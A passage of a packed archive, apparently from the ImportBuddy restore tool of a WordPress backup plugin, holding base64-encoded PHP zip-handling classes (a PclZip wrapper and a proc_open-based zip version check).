Jyb3JJbmZvKCB0cnVlICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnUGNsWmlwIGZhaWxlZCB0byByZXRyaWV2ZSBjb21tZW50IGluIGZpbGUgJTEkcyAtIEVycm9yIEluZm86ICUyJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUsICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkKCQkJCX0KCQkJCQoJCQkKCQkJfQoJCQkKCQkgIAlpZiAoIE5VTEwgIT0gJHphICkgeyB1bnNldCggJHphICk7IH0JCQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQkKCQl9CgkJCgl9IC8vIGVuZCBwbHVnaW5idWRkeV96YnppcHBjbHppcCBjbGFzcy4JCgkKfQo/Pgo=
###PACKDATA,FILE_END,/lib/zipbuddy/zbzippclzip.php,importbuddy/lib/zipbuddy/zbzippclzip.php
###PACKDATA,FILE_START,/lib/zipbuddy/zbzipproc.php,importbuddy/lib/zipbuddy/zbzipproc.php
PD9waHAKLyoqCiAqCXBsdWdpbmJ1ZGR5X3piemlwcHJvYyBDbGFzcwogKgogKiAgRXh0ZW5kcyB0aGUgemlwIGNhcGFiaWxpdHkgY29yZSBjbGFzcyB3aXRoIHByb2Mgc3BlY2lmaWMgY2FwYWJpbGl0eQogKgkKICoJVmVyc2lvbjogMS4wLjAKICoJQXV0aG9yOgogKglBdXRob3IgVVJJOgogKgogKglAcGFyYW0JCSRwYXJlbnQJCW9iamVjdAkJT3B0aW9uYWwgcGFyZW50IG9iamVjdCB3aGljaCBjYW4gcHJvdmlkZSBmdW5jdGlvbnMgZm9yIHJlcG9ydGluZywgZXRjLgogKglAcmV0dXJuCQludWxsCiAqCiAqLwppZiAoICFjbGFzc19leGlzdHMoICJwbHVnaW5idWRkeV96YnppcHByb2MiICkgKSB7CgoJY2xhc3MgcGx1Z2luYnVkZHlfemJ6aXBwcm9jIGV4dGVuZHMgcGx1Z2luYnVkZHlfemJ6aXBjb3JlIHsKCQoJCS8vIENvbnN0YW50cyBmb3IgZmlsZSBoYW5kbGluZwoJCWNvbnN0IFpJUF9MT0dfRklMRV9OQU1FICAgICAgICA9ICd0ZW1wX3ppcF9wcm9jX2xvZy50eHQnOwoJCWNvbnN0IFpJUF9FUlJPUlNfRklMRV9OQU1FICAgICA9ICdsYXN0X3Byb2NfZXJyb3JzLnR4dCc7CgkJY29uc3QgWklQX1dBUk5JTkdTX0ZJTEVfTkFNRSAgID0gJ2xhc3RfcHJvY193YXJuaW5ncy50eHQnOwoJCWNvbnN0IFpJUF9PVEhFUlNfRklMRV9OQU1FICAgICA9ICdsYXN0X3Byb2Nfb3RoZXJzLnR4dCc7CgkJY29uc3QgWklQX0VYQ0xVU0lPTlNfRklMRV9OQU1FID0gJ2V4Y2x1c2lvbnMudHh0JzsKCQljb25zdCBaSVBfSU5DTFVTSU9OU19GSUxFX05BTUUgPSAnaW5jbHVzaW9ucy50eHQnOwoJCgkJLy8gUG9zc2libGUgZXhlY3V0YWJsZSBwYXRoIHNldHMKCQljb25zdCBERUZBVUxUX0VYRUNVVEFCTEVfUEFUSFMgPSAnL3Vzci9sb2NhbC9iaW46Oi91c3IvYmluOi91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW46L3NiaW46L2Jpbic7CgkJY29uc3QgV0lORE9XU19FWEVDVVRBQkxFX1BBVEhTID0gJyc7CgkJCiAgICAgICAgLyoqCiAgICAgICAgICogbWV0aG9kIHRhZyB1c2VkIHRvIHJlZmVyIHRvIHRoZSBtZXRob2QgYW5kIGVudGl0aWVzIGFzc29jaWF0ZWQgd2l0aCBpdCBzdWNoIGFzIGNsYXNzIG5hbWUKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIHN0cmluZwogICAgICAgICAqLwoJCXB1YmxpYyBzdGF0aWMgJF9tZXRob2RfdGFnID0gJ3Byb2MnOwoJCQogICAgICAgIC8qKgogICAgICAgICAqIFRoaXMgdGVsbHMgdXMgd2hldGhlciB0aGlzIG1ldGhvZCBpcyByZWdhcmRlZCBhcyBhICJjb21wYXRpYmlsaXR5IiBtZXRob2QKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIGJvb2wKICAgICAgICAgKi8KCQlwdWJsaWMgc3RhdGljICRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2QgPSBmYWxzZTsKCQkKICAgICAgICAvKioKICAgICAgICAgKiBUaGlzIHRlbGxzIHVzIHRoZSBkZXBlbmRlbmNpZXMgb2YgdGhpcyBtZXRob2Qgc28gdGhleSBjYW4gYmUgY2hlY2sgdG8gc2VlIGlmIHRoZSBtZXRob2QgY2FuIGJlIHN1cHBvcnRlZAogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgYXJyYXkKICAgICAgICAgKi8KCQlwdWJsaWMgc3RhdGljICRfbWV0aG9kX2RlcGVuZGVuY2llcyA9IGFycmF5KCAnY2xhc3NlcycgPT4gYXJyYXkoKSwKCQkJCQkJCQkJCQkgIAkJICdmdW5jdGlvbnMnID0+IGFycmF5KCAncHJvY19vcGVuJywgJ3Byb2NfY2xvc2UnLCAncHJvY19nZXRfc3RhdHVzJywgJ3Byb2NfdGVybWluYXRlJyApLAoJCQkJCQkJCQkJCSAgCQkgJ2V4dGVuc2lvbnMnID0+IGFycmF5KCksCgkJCQkJCQkJCQkJICAJCSAnZmlsZXMnID0+IGFycmF5KCksCgkJCQkJCQkJCQkJICAJCSAnY2hlY2tfZnVuYycgPT4gJ2NoZWNrX21ldGhvZF9kZXBlbmRlbmNpZXNfc3RhdGljJwoJCQkJCQkJCQkJCQkJKTsKCQkJCgkJLyoqCgkJICogCgkJICogZ2V0X21ldGhvZF90YWdfc3RhdGljKCkKCQkgKgoJCSAqIEdldCB0aGUgc3RhdGljIG1ldGhvZCB0YWcgaW4gYSBzdGF0aWMgY29udGV4dAoJCSAqCgkJICogQHJldHVybgkJc3RyaW5nCVRoZSBtZXRob2QgdGFnCgkJICoKCQkgKi8KCQlwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9tZXRob2RfdGFnX3N0YXRpYygpIHsKCQkKCQkJcmV0dXJuIHNlbGY6OiRfbWV0aG9kX3RhZzsKCQkJCgkJfQoKCQkvKioKCQkgKiAKCQkgKiBnZXRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2Rfc3RhdGljKCkKCQkgKgoJCSAqIEdldCB0aGUgY29tcGF0aWJpbGl0eSBtZXRob2QgaW5kaWNhdG9yIGluIGEgc3RhdGljIGNvbnRleHQKCQkgKgoJCSAqIEByZXR1cm4JCWJvb2wJVHJ1ZSBpZiBpcyBhIGNvbXBhdGliaWxpdHkgbWV0aG9kCgkJICoKCQkgKi8KCQlwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9pc19jb21wYXRpYmlsaXR5X21ldGhvZF9zdGF0aWMoKSB7CgkJCgkJCXJldHVybiBzZWxmOjokX2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kOwoJCQkKCQl9CgoJCS8qKgoJCSAqIAoJCSAqIGdldF9tZXRob2RfZGVwZW5kZW5jaWVzX3N0YXRpYygpCgkJICoKCQkgKiBHZXQgdGhlIG1ldGhvZCBkZXBlbmRlbmNpZXMgYXJyYXkgaW4gYSBzdGF0aWMgY29udGV4dAoJCSAqCgkJICogQHJldHVybgkJYXJyYXkJVGhlIGRlcGVuZGVuY2llcyBvZiB0aGUgbWV0aG9kIHRoYXQgaXMgcmVxdWlyZXMgdG8gYmUgYSBzdXBwb3J0ZWQgbWV0aG9kCgkJICoKCQkgKi8KCQlwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9tZXRob2RfZGVwZW5kZW5jaWVzX3N0YXRpYygpIHsKCQkKCQkJcmV0dXJuIHNlbGY6OiRfbWV0aG9kX2RlcGVuZGVuY2llczsKCQkJCgkJfQoJCQoJCS8qKgoJCSAqIAoJCSAqIGNoZWNrX21ldGhvZF9kZXBlbmRlbmNpZXNfc3RhdGljKCkKCQkgKgoJCSAqIEFsbG93cyBhZGRpdGlvbmFsIG1ldGhvZCBkZXBlbmRlbmN5IGNoZWNrcyBiZXlvbmQgdGhlIHN0YW5kYXJkIGluIGEgc3RhdGljIGNvbnRleHQKCQkgKgoJCSAqIEByZXR1cm4JCWJvb2wJVHJ1ZSBpZiBhZGRpdGlvbmFsIGRlcGVuZGVuY3kgY2hlY2tzIHBhc3NlZAoJCSAqCgkJICovCgkJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBjaGVja19tZXRob2RfZGVwZW5kZW5jaWVzX3N0YXRpYygpIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkKCQkJLy8gTmVlZCB0byBhZGRpdGlvbmFsbHkgY2hlY2sgdGhlIE9TIC0gbmVlZCAqbml4IHR5cGUgYXQgbGVhc3QKCQkJCQoJCQkvLyBVc2UgVUMgZm9yIGVhc2UgLSB0aGlzIF9zaG91bGQgbm90PyBjYXVzZSBhbnkgYW1iaWd1aXR5CgkJCSRvc19uYW1lID0gc3RydG91cHBlciggUEhQX09TICk7CgkgCgkJCS8vIEN1cnJlbnRseSB3ZSdsbCBhc3N1bWUgYW55dGhpbmcgdGhhdCBkb2Vzbid0IGxvb2sgbGlrZSBXaW5kb3dzIGlzICpuaXggYmFzZWQKCQkJaWYgKCAhKCBzdWJzdHIoICRvc19uYW1lLCAwLCAzICkgPT09ICdXSU4nKSApIHsKCQkJCgkJCQkvLyBXZSdyZSBvayBhcyBtZWV0IGRlcGVuZGVuY3kgdGhhdCB0aGlzIGlzbid0IFdpbmRvd3MgYmFzZWQgT1MKCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkKCQkJfQkKCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQoJCX0KCgkJLyoqCgkJICoJX19jb25zdHJ1Y3QoKQoJCSAqCQoJCSAqCURlZmF1bHQgY29uc3RydWN0b3IuCgkJICoJCgkJICoJQHBhcmFtCQlyZWZlcmVuY2UJJiRwYXJlbnQJCVtvcHRpb25hbF0gUmVmZXJlbmNlIHRvIHRoZSBvYmplY3QgY29udGFpbmluZyB0aGUgc3RhdHVzKCkgZnVuY3Rpb24gZm9yIHN0YXR1cyB1cGRhdGVzLgoJCSAqCUByZXR1cm4JCW51bGwKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCggJiRwYXJlbnQgPSBOVUxMICkgewoKCQkJcGFyZW50OjpfX2NvbnN0cnVjdCggJHBhcmVudCApOwoJCQkKCQkJLy8gT3ZlcnJpZGUgc29tZSBvZiBwYXJlbnQgZGVmYXVsdHMKCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF0gPSBhcnJheV9tZXJnZSggJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF0sCgkJCQkJCQkJCQkJCQkJCWFycmF5KCAnbmFtZScgPT4gJ1Byb2MgTWV0aG9kJywKCQkJCQkJCQkJCQkJCSAgCQkJICAgJ2NvbXBhdGliaWxpdHknID0+IHNlbGY6OiRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2QgKQoJCQkJCQkJCQkJCQkJICAJICAgKTsKCgkJCS8vIE5vdyBzZXQgdXAgdGhlIGRlZmF1bHQgZXhlY3V0YWJsZSBwYXRocyAobm90IG1lcmdpbmcgYnV0IHNldHRpbmcpCgkJCS8vIE5vdGU6IFBhcmVudCBjb25zdHJ1Y3RvciBzZXQgdGhlIG9zIHR5cGUgdmFsdWUKCQkJc3dpdGNoICggJHRoaXMtPmdldF9vc190eXBlKCkgKSB7CgkJCQoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX05JWDoKCQkJCQoJCQkJCSR0aGlzLT5zZXRfZXhlY3V0YWJsZV9wYXRocyggZXhwbG9kZSggUEFUSF9TRVBBUkFUT1IsIHNlbGY6OkRFRkFVTFRfRVhFQ1VUQUJMRV9QQVRIUyApLCBmYWxzZSk7CgkJCQkJYnJlYWs7CgkJCQkJCgkJCQljYXNlIHNlbGY6Ok9TX1RZUEVfV0lOOgoJCQkJCQoJCQkJCSR0aGlzLT5zZXRfZXhlY3V0YWJsZV9wYXRocyggZXhwbG9kZSggUEFUSF9TRVBBUkFUT1IsIHNlbGY6OldJTkRPV1NfRVhFQ1VUQUJMRV9QQVRIUyApLCBmYWxzZSk7CgkJCQkJCgkJCQkJLy8gTmVlZCB0byBtZXJnZSBpbiBBQlNQQVRIIGhlcmUgYmVjYXVzZSB3ZSBjYW5ub3Qgc2V0IHRoYXQgaW4gdGhlIGRlZmF1bHRzIC0gaXQgaXMgcHJlcGVuZGVkCgkJCQkJJHRoaXMtPnNldF9leGVjdXRhYmxlX3BhdGhzKCBhcnJheSggcnRyaW0oIEFCU1BBVEgsIERJUkVDVE9SWV9TRVBBUkFUT1IgKSApICk7CgkJCQkJYnJlYWs7CgkJCQkJCgkJCQlkZWZhdWx0OgoJCQkJCS8vIExvZyBlcnJvciBhbmQgbGVhdmUgcGF0aHMgZW1wdHkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdVbmtub3duIE9TIHR5cGUgKCUxJHMpIGNvdWxkIG5vdCBzZXQgZXhlY3V0YWJsZSBwYXRocycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR0aGlzLT5nZXRfb3NfdHlwZSgpICkgKTsKCQkJCQkKCQkJfQoJCQkKCQl9CgkJCgkJLyoqCgkJICoJX19kZXN0cnVjdCgpCgkJICoJCgkJICoJRGVmYXVsdCBkZXN0cnVjdG9yLgoJCSAqCQoJCSAqCUByZXR1cm4JCW51bGwKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfX2Rlc3RydWN0KCApIHsKCQkKCQkJcGFyZW50OjpfX2Rlc3RydWN0KCk7CgoJCX0KCQkKCQkvKioKCQkgKglnZXRfbWV0aG9kX3RhZygpCgkJICoJCgkJICoJUmV0dXJucyB0aGUgKHN0YXRpYykgbWV0aG9kIHRhZwoJCSAqCQoJCSAqCUByZXR1cm4JCXN0cmluZyBUaGUgbWV0aG9kIHRhZwoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF9tZXRob2RfdGFnKCkgewoJCQoJCQlyZXR1cm4gc2VsZjo6JF9tZXRob2RfdGFnOwoJCQkKCQl9CgkJCgkJLyoqCgkJICoJZ2V0X2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kKCkKCQkgKgkKCQkgKglSZXR1cm5zIHRoZSAoc3RhdGljKSBpc19jb21wYXRpYmlsaXR5X21ldGhvZCBib29sZWFuCgkJICoJCgkJICoJQHJldHVybgkJYm9vbAoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF9pc19jb21wYXRpYmlsaXR5X21ldGhvZCgpIHsKCQkKCQkJcmV0dXJuIHNlbGY6OiRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2Q7CgkJCQoJCX0KCQkKCQkvKioKCQkgKglnZXRfY29tbWFuZF9wYXRoKCkKCQkgKgkKCQkgKglUaGlzIHJldHVybnMgdGhlIHBhdGggZm9yIHRoZSByZXF1ZXN0ZWQgY29tbWFuZCBmcm9tIHRoZSBtZXRob2QgZGV0YWlscwoJCSAqCUlmIG5vdCBmb3VuZCB0aGVuIHdpbGwgcmV0dXJuIGVtcHR5IHN0cmluZyB3aGljaCBpcyB0aGUgc2FtZSBhcyBpZiB0aGUKCQkgKgljb21tYW5kIGlzIGJlaW5nIGFjY2Vzc2VkIHRocm91Z2ggUEFUSAoJCSAqCQoJCSAqCUByZXR1cm4JCXN0cmluZwkJCQlQYXRoIGZvciBjb21tYW5kLCB0cmltbWVkIC0gbWF5IGJlIGVtcHR5CgkJICoKCQkgKi8KCQlwcm90ZWN0ZWQgZnVuY3Rpb24gZ2V0X2NvbW1hbmRfcGF0aCggJGNvbW1hbmQgPSBzZWxmOjpDT01NQU5EX1VOS05PV05fUEFUSCApIHsKCQkKCQkJJHJlc3VsdCA9ICcnOwoJCQkKCQkJc3dpdGNoKCAkY29tbWFuZCApIHsKCQkJCgkJCQljYXNlIHNlbGY6OkNPTU1BTkRfWklQX1BBVEg6CgkJCQkKCQkJCQkvLyBJZiB0aGVyZSBpcyBhIGNvbW1vbiBwYXRoIHVzZSBpdCBvdGhlcndpc2UgbG9vayBmb3IgdGhlIGNvbW1hbmQgc3BlY2lmaWMgcGF0aAoJCQkJCWlmICggaXNzZXQoICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3BhdGgnIF0gKSApIHsKCQkJCQkKCQkJCQkJJHJlc3VsdCA9IHRyaW0oICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3BhdGgnIF0gKTsKCQkJCQkJCgkJCQkJfSBlbHNlaWYgKCBpc3NldCggJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAnemlwJyBdWyAncGF0aCcgXSApICkgewoJCQkJCQoJCQkJCQkkcmVzdWx0ID0gdHJpbSggJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAnemlwJyBdWyAncGF0aCcgXSApOwoJCQkJCX0KCQkJCQkKCQkJCQlicmVhazsKCQkJCQoJCQkJY2FzZSBzZWxmOjpDT01NQU5EX1VOWklQX1BBVEg6CgkJCQkKCQkJCQkvLyBJZiB0aGVyZSBpcyBhIGNvbW1vbiBwYXRoIHVzZSBpdCBvdGhlcndpc2UgbG9vayBmb3IgdGhlIGNvbW1hbmQgc3BlY2lmaWMgcGF0aAoJCQkJCWlmICggaXNzZXQoICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3BhdGgnIF0gKSApIHsKCQkJCQkKCQkJCQkJJHJlc3VsdCA9IHRyaW0oICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3BhdGgnIF0gKTsKCQkJCQkJCgkJCQkJfSBlbHNlaWYgKCBpc3NldCggJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAndW56aXAnIF1bICdwYXRoJyBdICkgKSB7CgkJCQkJCgkJCQkJCSRyZXN1bHQgPSB0cmltKCAkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF1bICd1bnppcCcgXVsgJ3BhdGgnIF0gKTsKCQkJCQl9CgkJCQkJCgkJCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6CgkJCQkKCQkJCQkvLyBSZXR1cm4gdGhlIGVtcHR5IHN0cmluZyBkZWZhdWx0IGZvciBub3cKCQkJCgkJCX0KCgkJCXJldHVybiAkcmVzdWx0OwoJCQoJCX0KCQkKCQkvKioKCQkgKglzZXRfemlwX3ZlcnNpb24oKQoJCSAqCQoJCSAqCVRoaXMgc2V0cyB0aGUgemlwIHZlcnNpb24gaW5mb3JtYXRpb24gaW4gdGhlIG1ldGhvZCBkZXRhaWxzCgkJICoJTm90ZTogcHJlLXYzIHppcCBydW5uaW5nICJ6aXAgLXYiIHdpbGwgbm90IHByb2R1Y2UgdGhlIHJlcXVpcmVkIG91dHB1dCBiZWNhdXNlCgkJICoJdGhlcmUgaXMgbm8gdHR5IGF0dGFjaGVkICh3aGVuIHJ1bm5pbmcgdGhyb3VnaCBleGVjKCkgb3IgZXF1aXZhbGVudCksIGluc3RlYWQKCQkgKglpdCB3aWxsIHByb2R1Y2UgYSB6aXAgZmlsZS5DdXJyZW50bHkgd2UnbGwganVzdCBkZXRlY3QgdGhhdCBhbmQgc2V0IHRoZSB2ZXJzaW9uCgkJICoJYXMgMi4wIGFuZCBub3Qgc2V0IHRoZSBpbmZvLgoJCSAqCVRPRE86IFdlIGNvdWxkIHBhcnNlIHRoZSB6aXAgZmlsZSB0byBnZXQgdGhlIHZlcnNpb24gYnV0IGFsc28gY29uc2lkZXJpbmcgZG9pbmcKCQkgKgl0aGF0IGluIHRoZSBpc19hdmFpbGFibGUoKSB0ZXN0IHdoZXJlIHdlIGFscmVhZHkgY3JlYXRlZCBhIHppcCBmaWxlLgoJCSAqCVRPRE86IENvbnNpZGVyIHRlc3RpbmcgaWYgbWV0aG9kIGNhbiB6aXAgYW5kIG9ubHkgdGhlbiBydW4gdGhlIHRlc3QKCQkgKglUT0RPOiBUaGlzIG5lZWRzIHJlZmFjdG9yaW5nIHRvIG1ha2UgaXQgY2xlYW5lcgoJCSAqCQoJCSAqCUBwYXJhbQkJaW50CQkkbWFqb3IJCVZhbHVlIHRvIHVzZSBpZiBub25lIGZvdW5kIG9yIG92ZXJyaWRlIHRydWUKCQkgKglAcGFyYW0JCWludAkJJG1pbm9yCQlWYWx1ZSB0byB1c2UgaWYgbm9uZSBmb3VuZCBvciBvdmVycmlkZSB0cnVlCgkJICoJQHBhcmFtCQlib29sCSRvdmVycmlkZQlUcnVlIHRvIHVzZSBwYXNzZWQgaW4gdmFsdWUocykgcmVnYXJkbGVzcwoJCSAqCUByZXR1cm4JCW9iamVjdAkJCQlUaGlzIG9iamVjdCByZWZlcmVuY2UKCQkgKgoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBzZXRfemlwX3ZlcnNpb24oICRtYWpvciA9IDAsICRtaW5vciA9IDAsICRvdmVycmlkZSA9IGZhbHNlICkgewoJCQoJCQkkZXhpdGNvZGUgPSAxMjc7CgkJCSRvdXRwdXQgPSBhcnJheSgpOwoJCQkkemlwcGF0aCA9ICcnOwoJCQkkY29tbWFuZCA9ICcnOwoJCQkkbWF0Y2hlcyA9IGFycmF5KCk7CgkJCSRpbmZvID0gJyc7CgkJCgkJCS8vIElmIHdlIGhhdmUgYmVlbiBnaXZlbiBhIHZhbHVlIHRvIHVzZSB3aXRoIG92ZXJyaWRlIHRoZW4ganVzdCB1c2UgaXQKCQkJaWYgKCAoICggaXNfaW50KCAkbWFqb3IpICkgJiYgKCAwIDwgJG1ham9yICkgJiYgKCBpc19pbnQoICRtaW5vciApICkgKSAmJiAoIHRydWUgPT09ICRvdmVycmlkZSApICkgewoJCQkKCQkJCS8vIFNldCB0aGUgZ2l2ZW4gdmVyc2lvbiByZWdhcmRsZXNzCgkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF1bICd6aXAnIF1bICd2ZXJzaW9uJyBdID0gYXJyYXkoICdtYWpvcicgPT4gJG1ham9yLCAnbWlub3InID0+ICRtaW5vciApOwoJCQkJcmV0dXJuICR0aGlzOyAKCQkJCgkJCX0KCQkJCgkJCS8vIEdldCB0aGUgY29tbWFuZCBwYXRoIGZvciB0aGUgemlwIGNvbW1hbmQgLSBzaG91bGQgcmV0dXJuIGEgdHJpbW1lZCBzdHJpbmcKCQkJJHppcHBhdGggPSAkdGhpcy0+Z2V0X2NvbW1hbmRfcGF0aCggc2VsZjo6Q09NTUFORF9aSVBfUEFUSCApOwoJCQkKCQkJLy8gQWRkIHRoZSB0cmFpbGluZyBzbGFzaCBpZiByZXF1aXJlZAoJCQkkY29tbWFuZCA9ICR0aGlzLT5zbGFzaGlmeSggJHppcHBhdGggKSAuICd6aXAgLXYnOwoJCQkKCQkJLy9AZXhlYyggJGNvbW1hbmQsICRvdXRwdXQsICRleGl0Y29kZSApOwoJCQkKCQkJLy8gR2V0IGEgdGVtcG9yYXJ5IGZpbGUgdG8gdXNlIGZvciBjb21tYW5kIG91dHB1dAoJCQkkb3V0ZmlsZV9uYW1lID0gdGVtcG5hbSggc3lzX2dldF90ZW1wX2RpcigpLCB1bmlxaWQoICdwYl8nICkgKTsKCQkJCgkJCS8vIE1ha2Ugc3VyZSB3ZSBvbmx5IGRvIHRoaXMgaWYgd2UgaGF2ZSBhIGZpbGUgd2UgY2FuIHdyaXRlIHRvCgkJCWlmICggaXNfc3RyaW5nKCAkb3V0ZmlsZV9uYW1lICkgJiYgaXNfd3JpdGFibGUoICRvdXRmaWxlX25hbWUgKSApIHsgCgkJCQoJCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCgkJCQkJMCA9PiBhcnJheSggInBpcGUiLCAiciIgKSwKCQkJCQkxID0+IGFycmF5KCAiZmlsZSIsICRvdXRmaWxlX25hbWUsICJ3IiApLAoJCQkJCTIgPT4gYXJyYXkoICJmaWxlIiwgIi9kZXYvbnVsbCIsICJhIiApCQoJCQkJKTsKCQkJCQoJCQkJJHByb2Nlc3MgPSBOVUxMOyAvLyBNYXliZSBpdCBkb2Vzbid0IHdvcmsKCQkJCQoJCQkJJHByb2Nlc3MgPSBAcHJvY19vcGVuKCAkY29tbWFuZCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMgKTsKCQkJCQoJCQkJaWYgKCBpc19yZXNvdXJjZSggJHByb2Nlc3MgKSApIHsKCQkJCQoJCQkJCWZjbG9zZSggJHBpcGVzWzBdICk7IC8vIE5ldmVyIHdhbnQgdG8gc2VuZCBpbnB1dCBzbyBqdXN0IGNsb3NlIGl0CgkJCQkJCgkJCQkJJHBzdGF0dXMgPSBwcm9jX2dldF9zdGF0dXMoICRwcm9jZXNzICk7CgkJCQkJCgkJCQkJLy8gTWFrZSBzdXJlIHdlIG9ubHkgZG8gNCBsb29wIG1heAoJCQkJCSRjb3VudCA9IDA7CgkJCQkJCgkJCQkJd2hpbGUgKCB0cnVlID09ICRwc3RhdHVzWyAncnVubmluZyddICYmICggJGNvdW50KysgPCA0ICkgKSB7CgkJCQkJCXVzbGVlcCggNTAwMDAwICk7CgkJCQkJCSRwc3RhdHVzID0gcHJvY19nZXRfc3RhdHVzKCAkcHJvY2VzcyApOwoJCQkJCX0KCQkJCQkKCQkJCQlpZiAoIHRydWUgPT09ICRwc3RhdHVzWyAncnVubmluZycgXSApIHsKCQkJCQkJLy8gSG1tLCBzaG91bGRuJ3Qgc3RpbGwgYmUgcnVubmluZywgdHJ5IHRvIGtpbGwgaXQgYW5kIG1vdmUgb24KCQkJCQkJQHByb2NfdGVybWluYXRlKCAkcHJvY2VzcyApOwoJCQkJCQkKCQkJCQkJLy8gR2V0IHN0YXR1cyBhZ2FpbiBhbmQgc2VlIGlmIG5vdyBub3QgcnVubmluZywgaWYgc28gZ2V0IGV4aXQgY29kZQoJCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQkvLyBQcm9jZXNzIGZpbmlzaGVkIG5vcm1hbGx5IHNvIGdldCBleGl0IGNvZGUgZm9yIHBvc3NpYmxlIHVzZQoJCQkJCQkkZXhpdGNvZGUgPSAkcHN0YXR1c1sgJ2V4aXRjb2RlJyBdOwoJCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQkJLy8gSWdub3JlIGFueSBjbG9zZSBpc3N1ZSwgc2hvdWxkbid0IGdldCBzdHVjayBoZXJlIGJ1dCBpdCBpcyBwb3NzaWJsZSBpZgoJCQkJCS8vIHdlIHByb2Nlc3Mgd2FzIHN0aWxsIHJ1bm5pbmcgYW5kIHdlIGZhaWxlZCB0byB0ZXJtaW5hdGUgaXQgLSB0cmlja3kgb25lCgkJCQkJLy8gdG8gb3ZlcmNvbWUgYnV0IF9zaG91bGRfIGJlIHJhcmUKCQkJCQlAcHJvY19jbG9zZSggJHByb2Nlc3MgKTsKCQkJCQkKCQkJCX0KCQkJCQoJCQl9CgkJCQoJCQkvLyBOb3RlOiBpZiB3ZSBjb3VsZG4ndCBjcmVhdGUgYSBwcm9jZXNzIGp1c3QgZmFsbCB0aHJvdWdoIHNpbGVudGx5CgkJCQoJCQlpZiAoIDAgPT09ICRleGl0Y29kZSApIHsKCQkJCgkJCQkvLyBQdXQgdGhlIGZpbGUgY29udGVudCBpbnRvIGFuIGFycmF5CgkJCQl0cnkgewoJCQkJCgkJCQkJJG91dGZpbGUgPSBuZXcgU3BsRmlsZU9iamVjdCggJG91dGZpbGVfbmFtZSwgInJiIiApOwoJCQkJCQoJCQkJCXdoaWxlKCAhJG91dGZpbGUtPmVvZigpICkgewoJCQkJCQoJCQkJCQkvLyBOZWVkIHRvIHRyaW0gbGluZSBlbmRpbmdzIGJlY2F1c2Ugb2YgaW1wbG9kaW5nIHdpdGggUEhQX0VPTCBsYXRlcgoJCQkJCQkkb3V0cHV0W10gPSBydHJpbSggJG91dGZpbGUtPmN1cnJlbnQoKSApOwoJCQkJCQkkb3V0ZmlsZS0+bmV4dCgpOwoJCQkJCQoJCQkJCX0KCQkJCQkKCQkJCQl1bnNldCggJG91dGZpbGUgKTsKCQkJCQkKCQkJCX0gY2F0Y2ggKCBFeGNlcHRpb24gJGUgKSB7CgkJCQkKCQkJCQkvLyBNYXliZSB0aGUgZmlsZSBkaWRuJ3QgZXhpc3QgZm9yIHNvbWUgcmVhc29uPwoJCQkJCS8vIEluIGFueSBjYXNlIGp1c3QgZmFsbCB0aHJvdWdoIHNpbGVudGx5CgkJCQkJCgkJCQl9CgkJCQoJCQkJLy8gU2hvdWxkIGJlIGdvb2Qgb3V0cHV0IHRvIHRyeSBhdCBsZWFzdAoJCQkJLy8gSWYgdGhpcyBoYXMgYSB6aXAgZmlsZSBzaWduYXR1cmUgdGhlbiBpdCBtdXN0IGJlIHByZS12MyB6aXAKCQkJCSR6X2RhdGEgPSB1bnBhY2soICdWc2lnJywgJG91dHB1dFswXSApOwoJCQkKCQkJCWlmICggMHgwNDAzNGI1MCA9PSAkel9kYXRhWyAnc2lnJyBdICkgewoJCQkJCgkJCQkJLy8gVE9ETzogQ29uc2l